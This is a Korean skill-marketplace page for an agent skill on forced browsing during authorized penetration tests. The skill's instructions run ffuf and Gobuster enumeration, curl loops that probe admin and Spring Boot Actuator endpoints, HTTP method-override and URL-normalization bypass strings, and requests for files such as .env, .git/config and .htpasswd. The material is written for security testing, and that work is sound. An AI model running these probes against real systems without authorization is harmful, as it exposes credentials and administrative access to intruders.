무료GitHub에 공개

bypassing-authentication-with-forced-browsing

Assess authorized web applications for pages and APIs that allow access without authentication. Discover hidden URLs and exposed configuration or backup files, compare signed-in and signed-out responses, and document affected resources, impact, and recommended fixes.

한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.

원문원문 설명 보기

Discovering and accessing unprotected pages, APIs, and administrative interfaces by enumerating URLs and bypassing authentication controls during authorized security assessments.

mukul975/Anthropic-Cybersecurity-Skills

설치 방법 보기

이럴 때 유용합니다

Finding administrative pages accessible without signing in
Checking authentication requirements on APIs
Locating exposed configuration and backup files
Reporting authentication gaps and recommended fixes

포함된 파일(4)

SKILL.md10.7 KB
LICENSE11.0 KB
references/api-reference.md2.2 KB
scripts/agent.py6.7 KB

SKILL.md(원문)

설치하기 전에 에이전트에게 전달되는 지시 내용을 확인할 수 있습니다.

Bypassing Authentication with Forced Browsing

When to Use

During authorized penetration tests to discover hidden or unprotected administrative pages
When testing whether authentication is consistently enforced across all application endpoints
For identifying backup files, configuration files, and debug interfaces left exposed in production
When assessing access control on API endpoints that should require authentication
During security audits to validate that all sensitive resources enforce session validation

Prerequisites

Authorization: Written penetration testing agreement covering directory enumeration
ffuf: Fast web fuzzer (go install github.com/ffuf/ffuf/v2@latest)
Gobuster: Directory brute-force tool (apt install gobuster)
Burp Suite: For intercepting and analyzing requests and responses
Wordlists: SecLists collection (git clone https://github.com/danielmiessler/SecLists.git)
Target access: Network connectivity and valid test credentials for authenticated comparison

Workflow

Step 1: Enumerate Hidden Directories and Files

Use ffuf or Gobuster to discover paths not linked in the application's navigation.

# Directory enumeration with ffuf
ffuf -u https://target.example.com/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
  -mc 200,301,302,403 \
  -fc 404 \
  -o results-dirs.json -of json \
  -t 50 -rate 100

# File enumeration with common extensions
ffuf -u https://target.example.com/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt \
  -e .php,.asp,.aspx,.jsp,.html,.js,.json,.xml,.bak,.old,.txt,.cfg,.conf,.env \
  -mc 200,301,302,403 \
  -fc 404 \
  -o results-files.json -of json \
  -t 50 -rate 100

# Gobuster for directory enumeration
gobuster dir -u https://target.example.com \
  -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \
  -s "200,204,301,302,307,403" \
  -x php,asp,aspx,jsp,html \
  -o gobuster-results.txt \
  -t 50

Step 2: Discover Administrative and Debug Interfaces

Target common administrative paths and debug endpoints.

# Admin panel enumeration
ffuf -u https://target.example.com/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -mc 200,301,302 \
  -t 50 -rate 100

# Common admin paths to check manually:
# /admin, /administrator, /admin-panel, /wp-admin
# /cpanel, /phpmyadmin, /adminer, /manager
# /console, /debug, /actuator, /swagger-ui
# /graphql, /graphiql, /.env, /server-status

# API endpoint discovery
ffuf -u https://target.example.com/api/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
  -mc 200,201,204,301,302,401,403 \
  -fc 404 \
  -o api-results.json -of json

# Check for Spring Boot Actuator endpoints
for endpoint in env health info beans configprops mappings trace; do
  curl -s -o /dev/null -w "%{http_code} /actuator/$endpoint\n" \
    "https://target.example.com/actuator/$endpoint"
done

Step 3: Test Authentication Enforcement on Discovered Endpoints

Compare responses between unauthenticated and authenticated requests.

# Test without authentication
curl -s -o /dev/null -w "%{http_code}" \
  "https://target.example.com/admin/dashboard"

# Test with valid session cookie
curl -s -o /dev/null -w "%{http_code}" \
  -b "session=valid_session_token_here" \
  "https://target.example.com/admin/dashboard"

# Automated check: compare response sizes
# Unauthenticated request
curl -s "https://target.example.com/admin/users" | wc -c

# Authenticated request
curl -s -b "session=valid_token" \
  "https://target.example.com/admin/users" | wc -c

# If both return similar content, authentication is not enforced

# Test with Burp Intruder: send a list of discovered URLs
# without cookies and flag any 200 responses

Step 4: Test HTTP Method-Based Authentication Bypass

Some applications only enforce authentication for specific HTTP methods.

# Test different HTTP methods on protected endpoints
for method in GET POST PUT DELETE PATCH OPTIONS HEAD TRACE; do
  echo -n "$method: "
  curl -s -o /dev/null -w "%{http_code}" \
    -X "$method" "https://target.example.com/admin/settings"
done

# Test HTTP method override headers
curl -s -o /dev/null -w "%{http_code}" \
  -X POST \
  -H "X-HTTP-Method-Override: GET" \
  "https://target.example.com/admin/settings"

curl -s -o /dev/null -w "%{http_code}" \
  -H "X-Original-Method: GET" \
  -H "X-Rewrite-URL: /admin/settings" \
  "https://target.example.com/"

Step 5: Test Path Traversal and URL Normalization Bypass

Exploit URL parsing differences to bypass path-based authentication rules.

# Path normalization bypass attempts
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin/dashboard"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/ADMIN/dashboard"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin/./dashboard"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/public/../admin/dashboard"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin%2fdashboard"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/;/admin/dashboard"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin;anything/dashboard"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/.;/admin/dashboard"

# Double URL encoding
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/%2561dmin/dashboard"

# Trailing characters
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin/dashboard/"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin/dashboard.json"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin/dashboard%00"

Step 6: Discover Backup and Configuration Files

Search for sensitive files inadvertently exposed on the web server.

# Backup file discovery
ffuf -u https://target.example.com/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt \
  -e .bak,.old,.orig,.save,.swp,.tmp,.dist,.config,.sql,.gz,.tar,.zip \
  -mc 200 -t 50 -rate 100

# Common sensitive files
for file in .env .git/config .git/HEAD .svn/entries \
  web.config wp-config.php.bak config.php.old \
  database.yml .htpasswd server-status phpinfo.php \
  robots.txt sitemap.xml crossdomain.xml; do
  status=$(curl -s -o /dev/null -w "%{http_code}" \
    "https://target.example.com/$file")
  if [ "$status" != "404" ]; then
    echo "FOUND ($status): $file"
  fi
done

# Git repository exposure check
curl -s "https://target.example.com/.git/HEAD"
# If this returns "ref: refs/heads/main", the git repo is exposed

Key Concepts

Concept	Description
Forced Browsing	Directly accessing URLs that are not linked but exist on the server
Directory Enumeration	Brute-forcing directory and file names against a wordlist to discover hidden content
Authentication Bypass	Accessing protected resources without valid credentials due to missing access checks
Path Normalization	Exploiting differences in how web servers and application frameworks parse URL paths
Method-based Bypass	Using alternative HTTP methods (PUT, DELETE) that may not have authentication checks
Information Disclosure	Exposure of sensitive configuration files, backups, or debug interfaces
Defense in Depth	Layered security controls where authentication is enforced at multiple levels

Tools & Systems

Tool	Purpose
ffuf	Fast web fuzzer for directory, file, and parameter enumeration
Gobuster	Directory and DNS brute-forcing tool written in Go
Feroxbuster	Recursive content discovery tool with automatic recursion
DirBuster	OWASP Java-based directory brute-force tool with GUI
Burp Suite	HTTP proxy for request interception and automated scanning
SecLists	Comprehensive collection of wordlists for security testing

Common Scenarios

Scenario 1: Exposed Admin Panel

An admin panel at /admin/ is only hidden by not being linked in the navigation. Direct URL access reveals the full administrative interface without any authentication check.

Scenario 2: Unprotected API Endpoints

API endpoints at /api/v1/users and /api/v1/settings require authentication in the frontend application but the backend API does not enforce session validation, allowing unauthenticated direct access.

Scenario 3: Backup File Containing Credentials

A developer left config.php.bak on the production server. This backup file contains database credentials in plaintext, discovered through extension-based enumeration.

Scenario 4: Spring Boot Actuator Exposure

The /actuator/env endpoint is exposed without authentication, revealing environment variables including database connection strings, API keys, and secrets.

Output Format

## Forced Browsing / Authentication Bypass Finding

**Vulnerability**: Missing Authentication on Administrative Interface
**Severity**: Critical (CVSS 9.1)
**Location**: /admin/dashboard (GET, no authentication required)
**OWASP Category**: A01:2021 - Broken Access Control

### Discovered Unprotected Resources
| Path | Status | Auth Required | Content |
|------|--------|---------------|---------|
| /admin/dashboard | 200 | No | Full admin panel |
| /admin/users | 200 | No | User management |
| /actuator/env | 200 | No | Environment variables |
| /config.php.bak | 200 | No | Database credentials |
| /.git/HEAD | 200 | No | Git repository metadata |

### Impact
- Unauthenticated access to administrative functions
- Ability to create, modify, and delete user accounts
- Exposure of database credentials and API keys
- Full source code disclosure via exposed Git repository

### Recommendation
1. Implement authentication checks at the server/middleware level for all admin routes
2. Remove backup files, debug endpoints, and version control metadata from production
3. Configure web server to deny access to sensitive file extensions (.bak, .old, .env, .git)
4. Implement IP-based access restrictions for administrative interfaces
5. Use a reverse proxy to restrict access to internal-only endpoints

리뷰

아직 리뷰가 없습니다. 사용해 본 소감을 남겨 주세요.

로그인 없이 쓸 수 있습니다. 사용 후기, 질문, 작동하지 않은 환경 등을 편하게 남겨 주세요.

아직 댓글이 없습니다. 첫 댓글을 남겨 보세요.

같은 저장소의 스킬

abusing-dpapi-for-credential-access

무료

Assess exposure of Windows secrets protected by DPAPI, the operating system’s data protection service, during authorized security tests. Guide examination and decryption of saved credentials and browser data using available user sessions, credentials, or backup keys.

한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.

Assessing saved credential exposure in authorized tests
Examining collected DPAPI files offline
Reviewing protected browser and RDP credentials

mukul975/Anthropic-Cybersecurity-Skills3.5만2026년 8월 31일 업데이트

abusing-shadow-credentials-for-privesc

무료

Assess Shadow Credentials account takeover during authorized Active Directory testing. Examine permissions that allow public key registration, validate authentication without a password reset, and document credential cleanup, detection opportunities, and access control changes needed for remediation.

한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.

Assessing risky permissions identified in BloodHound
Validating account takeover without resetting a password
Generating directory change records during security exercises

mukul975/Anthropic-Cybersecurity-Skills3.5만2026년 8월 31일 업데이트

achieving-cmmc-level-2-compliance

무료

Prepare for CMMC Level 2, a cybersecurity certification for defense contractors. Define the systems handling controlled information, review security requirements, calculate the SPRS assessment score, and organize remediation plans and evidence into a readiness report.

한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.

Define the assessment scope for systems handling controlled information
Calculate an SPRS score and prioritize unmet security requirements
Prepare security plans, remediation milestones, and assessment evidence

mukul975/Anthropic-Cybersecurity-Skills3.5만2026년 8월 31일 업데이트

acquiring-disk-image-with-dd-and-dcfldd

무료

Create disk images for investigations using dd or dcfldd on Linux. The workflow covers write protection, bit-for-bit copying, hash checks to verify integrity, and documentation of the acquisition process.

한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.

Preserving a suspect drive before investigation
Creating evidence copies of USB devices or memory cards
Verifying that a disk image matches its source

mukul975/Anthropic-Cybersecurity-Skills3.5만2026년 8월 31일 업데이트

analyzing-active-directory-acl-abuse

무료

Review Active Directory permissions with ldap3, a Python library for directory queries. Identify excessive access granted to non-administrative accounts, explain potential privilege escalation paths, and produce a JSON report with affected objects and remediation recommendations.

한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.

Auditing excessive Active Directory permissions
Investigating privilege escalation paths from ordinary accounts
Reporting affected objects and permission remediation recommendations

mukul975/Anthropic-Cybersecurity-Skills3.5만2026년 8월 31일 업데이트

analyzing-android-malware-with-apktool

무료

Inspect suspicious Android APK files without running them. Analyze permissions, app components, suspicious code patterns, and network indicators, then produce a JSON risk report to support malware triage and detection rule development.

한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.

Triage suspicious APK files without running them
Inspect dangerous permission combinations and suspicious API calls
Extract network indicators for malware detection rules

mukul975/Anthropic-Cybersecurity-Skills3.5만2026년 8월 31일 업데이트

mukul975의 스킬 모두 보기

이 스킬의 문제 신고

설치

명령으로 설치

npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills --skill bypassing-authentication-with-forced-browsing

터미널에 붙여 넣고 실행합니다(Node.js 필요). Claude Code, Codex 등 설치할 에이전트를 고를 수 있습니다.

에이전트에게 부탁하기

다음 Agent Skill을 설치해 주세요.
https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/bypassing-authentication-with-forced-browsing

먼저 SKILL.md와 첨부 파일의 내용을 확인해 수상한 처리(외부 전송, 인증 정보 읽기 등)가 없는지 확인한 뒤 Claude Code는 ~/.claude/skills/bypassing-authentication-with-forced-browsing/, Codex는 ~/.agents/skills/bypassing-authentication-with-forced-browsing/ 에 배치해 주세요.

이 문장을 그대로 Claude Code나 Codex에 보내면 내용을 확인한 뒤 설치해 줍니다.

GitHub에서 소스 보기

저장소: mukul975/Anthropic-Cybersecurity-Skills
스타: 34,874
포크: 4,244
카테고리: 테스트·보안
라이선스: Apache-2.0
원문 언어: 영어
최종 업데이트: 2026년 8월 31일

스킬은 에이전트를 위한 지시와 스크립트의 묶음입니다. cccskills는 내용의 안전성을 보증하지 않습니다. 설치하기 전에 내용을 확인하세요.